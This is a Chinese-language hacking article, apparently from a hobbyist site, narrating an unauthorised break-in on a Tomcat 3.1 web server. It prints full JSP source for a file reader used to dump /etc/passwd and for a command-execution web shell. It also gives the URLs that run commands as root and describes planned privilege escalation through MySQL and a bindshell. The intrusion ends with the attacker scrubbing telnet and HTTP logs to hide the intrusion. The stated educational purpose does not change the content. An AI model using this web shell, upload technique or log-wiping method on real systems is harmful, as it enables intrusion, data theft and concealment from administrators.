您的位置:首页网络冲浪黑客天空 → 入侵WEB主机的全过程

入侵WEB主机的全过程

时间:2004/10/8 16:39:00来源:本站整理作者:蓝点我要评论(0)

    





入侵WEB主机的全过程
本文描述了如何通过WEB入侵获得freebsd 4.0的root权限。文章主要以教育为目的,希望各位
观者不要使用本文中的一些方法及程序,危害网络的安全。 





很偶然的一个机会,看到了一个网站,页面清新,很舒服的感觉。网站是用JSP开发的,由于
个人爱好,所以我决定看看系统的安全性。 



telnet www.target.com 8080 

GET /CHINANSL HTTP/1.1 

[Enter] 

[Enter] 

返回的结果如下: 

HTTP/1.0 404 Not Found 

Date: Sun, 08 Jul 2001 07:49:13 GMT 

Servlet-Engine: Tomcat Web Server/3.1 (JSP 1.1; Servlet 2.2; Java 1.2.2; 

Linux 2 

.2.12 i386; java.vendor=Blackdown Java-Linux Team) 

Content-Language: en 

Content-Type: text/html 

Status: 404 



Error: 404

 

Location: /CHINANSL

File Not Found
/CHINANSL 

我获得了运行的WEBServer的名称“Tomcat 3.1”。我记得我曾经发现过这个版本的漏洞
并且post到bugtrap上去过。大概是:通过“..”技术可以退出WEB目录,于是: 

http://target:8080/../../../../%00.jsp (不行) 

http://target:8080/file/index.jsp (不行) 

http://target:8080/index.JSP (不行) 

http://target:8080/index.jsp%81 (不行) 

http://target:8080/index.js%70 (不行) 

http://target:8080/index.jsp%2581 (不行) 

http://target:8080/WEB-INF/ (不行) 

嗯,在试试吧!Tomcat 

3.1自带了一个管理工具,可以查看WEB下的目录及文件,并且可以添加context.试一下:
http://target:8080/admin/ 

管理员果然没有删除或禁止访问这个目录:-(失误!)接着我点“VIEW ALL CONTEXT”
按钮,列出了WEB目录下的一些文件和目录的名称,我开始仔细的看了起来一小会儿,发现了
一个上传文件的组件,嘿嘿,写一个jsp文件弄上去看看。 几口咖啡的时间,我写了这么一个
东东出来: 

<%@ page import="java.io.*" %> 

<% 

String file = request.getParameter("file"); 

String str = ""; 

FileInputStream fis = null; 

DataInputStream dis = null; 

try{ 

fis = new FileInputStream(file); 

dis = new DataInputStream(fis); 

while(true){ 

try{ 

str = dis.readLine(); 

}catch(Exception e){} 

if(str == null)break; 

out.print(str+"
"); 



}catch(IOException e){} 

%> 

通过上传的组件将这个jsp上传到对方的WEB目录里,然后: 

http://target:8080/upload/test.jsp?file=/etc/passwd 

嘿嘿,密码出来啦。我只看了“/etc/passwd”,并没有看“/etc/shadow”,因为当时考虑
webserver一般使用nobody的身份启动的,看了也白看。(失误) 接下来的过程是无聊的猜
测密码,没有成功。算了,那我只有将就点,反正现在我相当于有了一个shell了嘛,猜不出
密码上去,那就全当IE是我的SHELL环境吧! 



再写: 

<%@ page import="java.io.*" %> 

<% 

try { 

String cmd = request.getParameter("cmd"); 

Process child = Runtime.getRuntime().exec(cmd); 

InputStream in = child.getInputStream(); 

int c; 

while ((c = in.read()) != -1) { 

out.print((char)c); 



in.close(); 

try { 

child.waitFor(); 

} catch (InterruptedException e) { 

e.printStackTrace(); 



} catch (IOException e) { 

System.err.println(e); 



%> 

然后把这个jsp又通过upload上传了上去,嘿嘿,我现在有个SHELL了。 

http://target:8080/upload/cmd.jsp?cmd=ls+-la+/ (我这里就不列出来了) 

怎么获得root呢?经过一番搜索我发现了系统安装了mysql并且我从jsp的源代码中得到了my

s
ql的密码:)看看是什么权限运行的mysql: 

http://target:8080/upload/cmd.jsp?cmd=ps+aux+|grep+mysqld 

显示: 

root 87494 0.2 1.9 17300 4800 p0- S 28Jun01 5:54.72 

/usr/local/data/mysql 


嘿嘿,有办法了,系统是以root身份运行的mysql,同时我知道了mysql的密码,那我现在我可
以写一个shell程序,让它create一个表,然后将我的数据放到表中,然后再使用"select ...
into outfile;"的办法在系统上创建一个文件,让用户在执行su的时候,运行我的程序。

还记得apache.org有一次被入侵吗?hacker就采用的这种办法)。 然后,我再上传bindshell
之类的程序,运行、获得nobody的权限,然后......再使用suroot时帮忙创建的setuid shell
让自己成为root. 嘿嘿,真是好办法,我都为我的想法感到得意...... 



接下去的事情,差点没让我吐血: 

我敲了一个:http://target:8080/upload/cmd.jsp?cmd=id 

显示: 

uid=0(root) gid=0(xxx) 

groups=0(xxx),2(xxx),3(xxx),4(xxx),5(xxx),20(xxx),31(xxx) 

kao,我的这个WEB SHELL本来就是ROOT,真是服了那个管理员,也服了自己。竟然折腾了这么

半天,哎! 

http://target:8080/upload/cmd.jsp?cmd=ps+aux 果然是root身份运行的(不列出来了) 



剩下来的事情: 

1、删除我的telnet记录。 

2
、删除http的日志。 

至于清除日志嘛,我使用的办法是:cat xxx |grep -V "IP" >>temp然后在把temp覆盖那些
被我修改过的日志文件。我没有更换他的页面,因为我本身也就不是什么黑客啦更不是红客只
是个网络安全爱好者而已。所以,发封邮件告诉system admin吧!

相关阅读 Windows错误代码大全 Windows错误代码查询激活windows有什么用Mac QQ和Windows QQ聊天记录怎么合并 Mac QQ和Windows QQ聊天记录Windows 10自动更新怎么关闭 如何关闭Windows 10自动更新windows 10 rs4快速预览版17017下载错误问题Win10秋季创意者更新16291更新了什么 win10 16291更新内容windows10秋季创意者更新时间 windows10秋季创意者更新内容kb3150513补丁更新了什么 Windows 10补丁kb3150513是什么

文章评论
发表评论

热门文章 黑客大战直播网址 黑客

最新文章 黑客大战直播网址 黑客什么是木马,什么是木马 计算机病毒是指什么什么是木马,什么是木马病毒黑客破解密码常用的方法告诉你黑客的Google搜索技巧

人气排行 如何攻击局域网电脑无线网络密码破解教程(破解无线路由WEP加密网站获得系统权限攻击教程流光破解ftp密码教程计算机病毒是指什么黑客破解密码常用的方法如何命令行/DOS下列出进程名与进程文件路径2010黑客工具